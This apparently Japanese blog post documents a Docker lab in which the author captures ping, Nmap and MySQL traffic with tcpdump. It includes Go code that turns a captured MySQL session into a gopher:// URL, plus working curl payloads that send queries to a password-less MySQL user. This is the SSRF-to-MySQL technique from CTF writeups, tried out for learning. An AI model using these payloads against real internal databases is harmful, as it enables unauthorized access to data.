docker間通信をtcpdumpしてpcapをいじる

IPFactory Advent Calendar 2019 14日目の予定だったが繰り上げて6日目(に代打投稿).

IPFactory 3年 azaraです

自分で意図して作ったパケットを見たいのとCTF Writeupで見た攻撃手法で面白そうだったGopherプロトコルMySQL叩いてみると言うのを試してみたかったのでこの機にやってみる。

前提情報

名称 バージョン
macOS Catalina 10.15.1
Docker version 19.03.5, build 633a0ea
Go Docker golang:latest

目次

いろんな通信を眺める

準備

まずはdocker-compose,client/Dockefile,app/Dockefileを書いていく。各個人でgolangの入ったappclientを用意してもらって、MySQLを用意してもらえればいいです。

僕が使ったのはこちら

File構造

.
├── app
│   ├── Dockerfile
│   └── src
├── cap
├── client
│   ├── Dockerfile
│   └── src
├── db
└── docker-compose.yml

docker networkの作成
dockerのIP固定のためにDockerNetworkを作成

docker network create \
--subnet 192.168.208.0/24 \
--gateway 192.168.208.254 \
docker-pcap

docker-compose.yml

version: "3"
services:

  db:
    image: mysql:5.7
    container_name: mysqlhost
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.2
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: test_database
      MYSQL_USER: docker
      MYSQL_PASSWORD: docker
      TZ: "Asia/Tokyo"
    command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
    volumes:
      - ./docker/db/data:/var/lib/mysql
      - ./docker/db/my.cnf:/etc/mysql/conf.d/my.cnf
      - ./docker/db/sql:/docker-entrypoint-initdb.d
    ports:
      - 3306:3306
      
  client:
    restart: always
    container_name: "client"
    build: ./client
    tty: true
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.3
    command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/client.pcap
    links:
      - db:mysqlhost
    volumes:
      - ./cap/:/tmp/cap
      
  app:
    restart: always
    build: ./app
    container_name: "app"
    working_dir: "/root/"
    ports:
      - 80:80
    tty: true
    networks:
      docker-pcap:
        ipv4_address: 192.168.208.4
    command: tcpdump -i eth0 -X -s 0 -w /tmp/cap/app.pcap
    volumes:
      - ./cap/:/tmp/cap
      
networks:
  docker-pcap:
    external:
      name: docker-pcap

client/Dockerfile

FROM golang:latest

RUN apt update
RUN apt -y install locales && \
    localedef -f UTF-8 -i ja_JP ja_JP.UTF-8
ENV LANG ja_JP.UTF-8
ENV LANGUAGE ja_JP:ja
ENV LC_ALL ja_JP.UTF-8
ENV TZ JST-9
ENV TERM xterm

RUN apt install -y nmap curl git wget tcpdump ltrace strace
COPY ./src /go/src/app
WORKDIR /go/src/app
RUN go get github.com/go-sql-driver/mysql
RUN go build .

app/Dockerfile

FROM golang:latest

RUN apt-get update
RUN apt-get -y install locales && \
    localedef -f UTF-8 -i ja_JP ja_JP.UTF-8
ENV LANG ja_JP.UTF-8
ENV LANGUAGE ja_JP:ja
ENV LC_ALL ja_JP.UTF-8
ENV TZ JST-9
ENV TERM xterm

RUN apt update -y && apt upgrade -y && apt install -y tcpdump
COPY ./src /go/src/app
WORKDIR /go/src/app

Pingを眺める

ここまできたらdocker-compose up -dappclientを実行して疎通確認をしていく。

各IPの対応表

name IP
mysqlhost(db) 192.168.208.2
client 192.168.208.3
app 192.168.208.4
❯ docker-compose exec client ping 192.168.208.4 -c 5
PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data.
64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.259 ms
64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.118 ms
64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.141 ms
64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.121 ms
64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.119 ms

--- 192.168.208.4 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4162ms
rtt min/avg/max/mdev = 0.118/0.151/0.259/0.056 ms

疎通の確認ができたので、docker-compose stopでサーバーを止めキャプチャ結果を見てみよう。

赤枠で囲った箇所が今回送ったpingの範囲。

普段疎通確認程度でしかpingを送っていなかったが詳しく見てみるとdataが送れるようだったので試しに送ってみようと思う。

pin data

ここでキャプチャしたpcapは(app|client)_ping.pcapとして保存しておく。

実際に送ってみた

#ひとまず適当な値をpad-byte(-p)に詰め込む
❯ docker-compose exec client ping 192.168.208.4 -c 5 -p ff61ff62ff63ff65
PATTERN: 0xff61ff62ff63ff65
PING 192.168.208.4 (192.168.208.4) 56(84) bytes of data.
64 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=0.174 ms
64 bytes from 192.168.208.4: icmp_seq=2 ttl=64 time=0.127 ms
64 bytes from 192.168.208.4: icmp_seq=3 ttl=64 time=0.144 ms
64 bytes from 192.168.208.4: icmp_seq=4 ttl=64 time=0.155 ms
64 bytes from 192.168.208.4: icmp_seq=5 ttl=64 time=0.141 ms

--- 192.168.208.4 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4151ms
rtt min/avg/max/mdev = 0.127/0.148/0.174/0.017 ms

するとデータには次のような結果が出てくる

48bytesになるまでパターンとして詰められたff61ff62ff63ff65が確認できる。

次にpacketsizeを大きくしてみたらどうなるのか?と思い投げつけてみる。

❯ docker-compose exec client ping 192.168.208.4 -c 1 -s 65467        
PING 192.168.208.4 (192.168.208.4) 65467(65495) bytes of data.
65475 bytes from 192.168.208.4: icmp_seq=1 ttl=64 time=2.82 ms

--- 192.168.208.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.826/2.826/2.826/0.000 ms

IPv4を1514bytes(内dataは1480bytes)を連続して送りICMP(echo request)を途中で送り、最後にICMP(echo reply)を返している。

pcap file

IPv4で送信されたdata(一部抜粋)

データ送信関係はひとまずこのくらいにしてdocker-compose stop && docker-compose rmを実行してコンテナを消しておく。

Nmapのスキャンを眺める

次はNmapを実行してどのような動きをしているかみていこう。

はじめに一つのポートをスキャンしてみる。

❯ dcexec client nmap -p 80 192.168.208.4       

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00016s latency).
PORT   STATE  SERVICE
80/tcp closed http
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds

ポートが単体の場合はARPを流して、二度80番ポートにスキャンをかけている。なぜ二度ポートスキャンをしているのか、検証は後日にする。

それでは80と443をスキャンした場合どうなるのか?

❯ dcexec client nmap -p 80,443 192.168.208.4           

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00014s latency).
PORT    STATE  SERVICE
80/tcp  closed http
443/tcp closed https
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds

2つの場合は一つ一つのポートに流し込んでいる。

ここで取得したpcapは(app|client)_nmap80,443.pcap

次に1-10の10個のポートに対してスキャンをしていく。

❯ dcexec client nmap -p 1-10 192.168.208.4         

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.000085s latency).
PORT   STATE  SERVICE
1/tcp  closed tcpmux
2/tcp  closed compressnet
3/tcp  closed compressnet
4/tcp  closed unknown
5/tcp  closed rje
6/tcp  closed unknown
7/tcp  closed echo
8/tcp  closed unknown
9/tcp  closed discard
10/tcp closed unknown
MAC Address: 02:42:C0:A8:D0:04 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds

不規則な順序でポートスキャンをしている。

不規則な順序にしない場合は-rをつけることで解決される。

❯ dcexec client nmap -r -p 1-10 192.168.208.4      

~~略~~

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

次に-Aをつけて検査をする。

❯ dcexec client nmap -A  192.168.208.4             

Starting Nmap 7.40 ( https://nmap.org ) at 2019-12-xx xx:xx UTC
Nmap scan report for app.docker-pcap (192.168.208.4)
Host is up (0.00013s latency).
All 1000 scanned ports on app.docker-pcap (192.168.208.4) are closed
MAC Address: 02:42:C0:A8:D0:04 (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms app.docker-pcap (192.168.208.4)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.29 seconds

はじめは通常のスキャンのようにランダムにポートをスキャンする。

ポートスキャン終了後に1番に対して何度かtcp通信の再送タイムアウト(TCP Retransmission)や重複したACK(TCP Dup ACK)が帰ってきている。

MySQLとのやりとりを眺める

続いてMySQLのやりとりをみていく。

client/src/main.go

package main

import (
    "database/sql"
    "log"
    _ "github.com/go-sql-driver/mysql"
)

var (
    dbms       = "mysql"
    credential = "docker:docker"
    testuser   = "test_user"
    access     = "tcp(db:3306)"
    dbname     = "test_database"
)

func main() {
    mysqlaccess := fmt.Sprintf("%v@%v/%v", credential, access, dbname)
    db, err := sql.Open(dbms, mysqlaccess)
    if err != nil {
        panic(err)
    }
    err = db.Ping()
    if err != nil {
        panic(err)
    }
    defer db.Close()
}

軽くgoで接続用のコードを書いて通信を見ていく。

docker-compose build 
docker-compose up -d
docker-compose exec client ./app 
docker-compose stop
docker-compose rm 

[y]

先ほど書いたコードの中で、Serverに挨拶 -> login -> db ping -> quitという一連の流れをしている。

3way hand shake

server greeting

MySQLプロトコルは、はじめに次のような挨拶を交わします。

今回の場合は、認証方式はmysql_native_passwordで各種saltなどをclientに送り通信を始めます。

Login Request

パスワードは先ほど受け取ったsaltを用いたハッシュを送信する。

コード内部でdbnameを指定しているので、今回はSchemaに名前が入っている。

Response Ok & Ping & Quit

Request OK

検証しそのユーザーが正しい場合はこのメッセージを返す。

Ping

Quit

このMySQLプロトコルにのっとってコマンドやMySQLの操作をする。

client/src/main.go

    // ~~前略~~
    if err != nil {
        panic(err)
    }
    err = db.Ping()
    if err != nil {
        panic(err)
    }
    _, err = db.Query("select @@version_comment limit 1")
    if err != nil {
        panic(err)
    }
    defer db.Close()
}

Query

Response

ここで取得したpcapをclient_mysql.pcapとして保存しておく

GoでGopherプロトコルを流すコードを書く

使うライブラリは https://github.com/google/gopacket

まずは手始めにMySQLの通信をGopher schemaに変換するコードを書く。

Gopher schemaで通信を行う場合gopher://host:port/_tcp stream(%Encoding)になるのでこの形式に整形しなければいけない。

例: MySQLのクライアント側のTCPストリーム

コードにするとこんな感じ

src/main.go

package main

import (
    "fmt"
    "strings"

    "github.com/google/gopacket/layers"

    "github.com/google/gopacket"
    "github.com/google/gopacket/pcap"
)

var (
    pcapfile  = "../cap/client_mysql.pcap"
    mysqlhost = "192.168.208.2"
    client    = "192.168.208.3"
)

func main() {
    pcaphandle, err := pcap.OpenOffline(pcapfile)
    if err != nil {
        panic(err)
    }
    defer pcaphandle.Close()
    packetSource := gopacket.NewPacketSource(pcaphandle, pcaphandle.LinkType())
    //displayPacket(packetSource)
    convGopher(packetSource)
}

func convGopher(packetSource *gopacket.PacketSource) {
    var gopherpayload map[string]string
    gopherpayload = map[string]string{client: "", mysqlhost: ""}
    for packet := range packetSource.Packets() {
        ipv4l := packet.Layer(layers.LayerTypeIPv4)
        tl := packet.Layer(layers.LayerTypeTCP)
        ipv4, _ := ipv4l.(*layers.IPv4)
        if tl == nil || packet.ApplicationLayer() == nil {
            continue
        }
        tcp, _ := tl.(*layers.TCP)
        if tcp.FIN {
            break
        }
        if (client == ipv4.SrcIP.String() && mysqlhost == ipv4.DstIP.String()) || (mysqlhost == ipv4.SrcIP.String() && client == ipv4.DstIP.String()) {
            gopherpayload[ipv4.SrcIP.String()] += stringRawData(packet.ApplicationLayer().Payload(), "%", "")
        }
    }
    fmt.Printf("Gopher : \ngopher://%v:3306/_%v\n", mysqlhost, gopherpayload[client])
}

func stringRawData(payload []byte, hexTop, joinString string) (raw string) {
    var hexs = make([]string, len(payload))
    for i, v := range payload {
        hexs[i] = fmt.Sprintf("%s%02x", hexTop, v)
    }
    raw = strings.Join(hexs, joinString)
    return raw
}

この状態で接続自体が可能かを確かめてみる。

pwd     
/<file path>/docker-lab/src

❯ go run .
Gopher : 
gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31

❯ docker-compose build && docker-compose up -d                               
~~ 中略~~
Successfully built 50d1b4d43281
Successfully tagged docker-ssrf_app:latest
mysqlhost is up-to-date
app is up-to-date
client is up-to-date

❯ docker-compose exec client curl gopher://192.168.208.2:3306/_%60%00%00%01%8d%a2%0
a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%64%6f%63%6b%65%72%00%14%90%b0%54%24%db%5c%f1%d7%44%6e%bf%ca%7f%4e%cc%7b%06%2a
%8c%3c%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%6
5%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31
J
5.7.28dEX 5~|�����*[{g8+ubHmysql_native_passwordN�#28000Access denied for user 'docker'@'192.168.208.3' (using password: YES)

今回の場合MySQLにパスワードがかかっているので、パスワード認証プロセスが挟まれる。

MySQLのパスワード認証プロセスは次のような形となる。

  1. サーバーに挨拶
    • チャレンジレスポンスのためのソルトを送信
  2. クライアントはそのソルトとパスワードを元にレスポンスを生成
  3. レスポンスを送信後からDBの操作が可能となる

この場合MySQLを非対話形式で叩いてもMySQLは動作しません。

次にパスワードなしでやってみる。

client/src/main.go

//~~~前略~~~ 20行目
mysqlaccess := fmt.Sprintf("%v@%v/%v", testuser, access, dbname)
//~~~中略~~~ 31行目から quitコマンド送信のため
rows, err := db.Query("select @@version_comment limit 1")
if err != nil {
    panic(err)
}
err = rows.Close()
if err != nil {
    panic(err)
}
//~~~後略~~~

実行

docker-compose build
docker-compose up -d
docker-compose exec db mysql -r -e "create user 'test_user'@'192.168.208.3';grant all on *.* to 'test_user'@'192.168.208.3';" test_database
docker-compose exec client ./app
docker-compose stop
docker-compose rm

[y]

次のこのpcapを元にgopherを生成する。

❯ go run .
Gopher :
gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01

その後実行をすると次のように表示される。

>
docker-compose build
docker-compose up -d
docker-compose exec client curl gopher://192.168.208.2:3306/_%4f%00%00%01%8d%a2%0a%00%00%00%00%00%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%74%65%73%74%5f%64%61%74%61%62%61%73%65%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%01%00%00%00%0e%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%01%00%00%00%01

J
5.7.28~Sx.
n?m�����X06Qu;c<5mysql_native_password'def@@version_comment
                                                           -p��MySQL Community Server (GPL)�
                                                    
                                                    
                                                    
>
docker-compose stop
docker-compose rm
[y]

dumpしたpcapを確認すると実際にMySQLプロトコルで通信をしていることがわかる。

以上!


参考
Docker doc
TCP Error
gopacketでpcapを読み込む
gopacket
SSRF攻击MySQL